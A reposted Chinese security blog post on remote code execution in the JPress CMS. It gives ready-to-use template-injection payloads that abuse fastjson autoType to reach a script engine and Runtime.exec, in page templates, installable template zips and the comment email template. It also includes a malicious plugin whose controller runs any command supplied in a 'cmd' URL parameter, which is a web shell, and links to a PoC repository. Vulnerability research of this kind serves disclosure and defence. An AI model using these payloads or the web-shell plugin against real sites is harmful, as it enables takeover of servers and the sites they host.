Jpress 远程代码执行漏洞挖掘

admin 2023年10月14日02:08:49评论49 views字数 4501阅读15分0秒阅读模式

0x01 JPress 简介  

JPress 是一个使用 Java 开发的、开源免费 的建站神器,灵感来源于 WordPress,目前已经有超过 10w+ 的网站使用 JPress 搭建,其中包括多个政府机构,200+上市公司,中科院、红十字会等。

0x02 rce 模版注入  

管理员登陆后通过修改模版文件getshell。这里以index.html

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())             #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager"))             #set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))            #set(e=x.getEngineByName("js"))             #(e.eval('java.lang.Runtime.getRuntime().exec("open -a Calculator")'))           

Jpress 远程代码执行漏洞挖掘  

分析一下。

Jpress 远程代码执行漏洞挖掘

           

可以看到接口。

io.jpress.web.admin#doEditSave() public void doEditSave() {                        String dirName = getPara("d");                    String fileName = getPara("f");                         //防止浏览非模板目录之外的其他目录                    render404If(dirName != null && dirName.contains(".."));                    render404If(fileName.contains("/") || fileName.contains(".."));                         Template template = TemplateManager.me().getCurrentTemplate();                    if (template == null) {                        renderJson(Ret.fail().set("message", "当前模板无法编辑"));                        return;                    }                                   File pathFile = template.getAbsolutePathFile();                             if (StrUtil.isNotBlank(dirName)) {                        pathFile = new File(pathFile, dirName);                    }                                String fileContent = getOriginalPara("fileContent");                    if (StrUtil.isBlank(fileContent)) {                        renderJson(Ret.fail().set("message", "不能存储空内容"));                        return;                    }                          File file = new File(pathFile, fileName);                    if (!file.canWrite()) {                        renderJson(Ret.fail().set("message", "当前文件没有写入权限"));                        return;                    }                              FileUtil.writeString(file, fileContent);                    TemplateManager.me().clearCache();                               renderOkJson();                }

没什么好说的,检查一下目录穿越,然后一通检查,然后写入。

找一下出发点。

io.jpress.web.front#index()

Jpress 远程代码执行漏洞挖掘

           

请求后,使用render()进行渲染。

然后继续跟进,一些逻辑后,来到

io.jpress.web.render#render()

Jpress 远程代码执行漏洞挖掘

           

可以看到利用com.jfinal.template.Template.render()进行渲染。

Jpress 远程代码执行漏洞挖掘

           

com.jfinal.template.stat.ast#exec()

Jpress 远程代码执行漏洞挖掘

           

通过for循环吧array遍历渲染,导致执行。

0x03 通过安装模版rce。本质和上面一样  

通过查看官方文档,构造数据包

Jpress 远程代码执行漏洞挖掘

           

index.html : 网站首页的模板

screenshot.png : 后台的模板缩略图

template.properties 模板的配置信息

当我们开始开发一个新的模板的时候,可以先用这三个文件,打包成 zip 包之后,通过 JPress 后台进行上传安装,看一下效果。

或者可以把 NewTemplate 文件夹直接复制到 JPress 的 templates 目录下也等同于安装。

template.properties

id = cn.jeanstudio.bluelight            title = BlueLight            description = BlueLight是JeanStudio工作室为JPress设计的官网模板            author = jeanStudio            authorWebsite = http://www.jeanstudio.cn            version = 1.0            versionCode = 1            updateUrl =            screenshot = screenshot.png

在index写入ssti的payload就行

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())             #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager"))             #set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))            #set(e=x.getEngineByName("js"))             #(e.eval('java.lang.Runtime.getRuntime().exec("open -a Calculator")'))

Jpress 远程代码执行漏洞挖掘

           

打包上传

Jpress 远程代码执行漏洞挖掘

           

Jpress 远程代码执行漏洞挖掘

           

启用或者预览就可以rce

           

0x04 rce 邮件模版  

后台启用通信,感觉没啥用。

Jpress 远程代码执行漏洞挖掘

           

Jpress 远程代码执行漏洞挖掘

           

在文章设置开启邮件通知,然后在输入

#set(str=comment.content)            #set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())             #(x.setAutoTypeSupport(true))             #set(sem=str.substring(0, str.indexOf(124)))            #set(str=str.substring(str.indexOf(124)+1))            #(x.addAccept(sem))             #set(json=str.substring(0, str.indexOf(124)))            #set(str=str.substring(str.indexOf(124)+1))            #set(x=com.alibaba.fastjson.JSON::parse(json))            #set(js=str.substring(0, str.indexOf(124)))            #set(str=str.substring(str.indexOf(124)+1))            #set(e=x.getEngineByName(js))             #(e.eval(str))

Jpress 远程代码执行漏洞挖掘

           

然后在任意评论点评论

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("open -a Calculator")

就可以rce

         

0x06 安装恶意插件rce。全版本通杀  

查看插件开发,由于作者说这是一个正常功能,所以自己开发一个恶意的插件就完事了。

没什么好分析,自己写,全可控。

Jpress 远程代码执行漏洞挖掘

           

使用官方的模版就行

Jpress 远程代码执行漏洞挖掘

           

在接口下的index()方法写入执行命令的函数打包就行

@RequestMapping(value = "/helloworld",viewPath = "/")            public class HelloWorldAddonController extends JbootController {                            public void index(String cmd) throws IOException {                    Process exec = Runtime.getRuntime().exec(cmd);                    InputStream inputStream = exec.getInputStream();                    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));                    String Line;                    while ((Line = bufferedReader.readLine()) != null){                        getResponse().getWriter().println(Line);                    }                    System.out.println("n");                    render("helloworld/index.html");                }                            public void json() {                    renderJson(Ret.ok().set("message", "json ok...."));                }                       @ActionKey("/admin/addon/test")                @AdminMenu(groupId = JPressConsts.SYSTEM_MENU_ADDON, text = "插件测试")                public void adminmenutest() {                    renderText("addon test abc");                }            }

其他不用修改,使用maven打包就可以

Jpress 远程代码执行漏洞挖掘

           

安装后访问

http://localhost:8080/helloworld/?cmd=id

Jpress 远程代码执行漏洞挖掘

           

就可以执行命令。

           

0x07 poc连接  

https://github.com/Fw-fW-fw/jpress-poc


枇杷下单、CTF办赛、珂兰寺培训、众测、考证、认证培训全套服务 + b站:我身后风呼啸 ;想被割韭菜知识星球:黑伞安全

Jpress 远程代码执行漏洞挖掘

           

原文始发于微信公众号(黑伞安全):Jpress 远程代码执行漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月14日02:08:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jpress 远程代码执行漏洞挖掘https://cn-sec.com/archives/2099733.html

发表评论

匿名网友 填写信息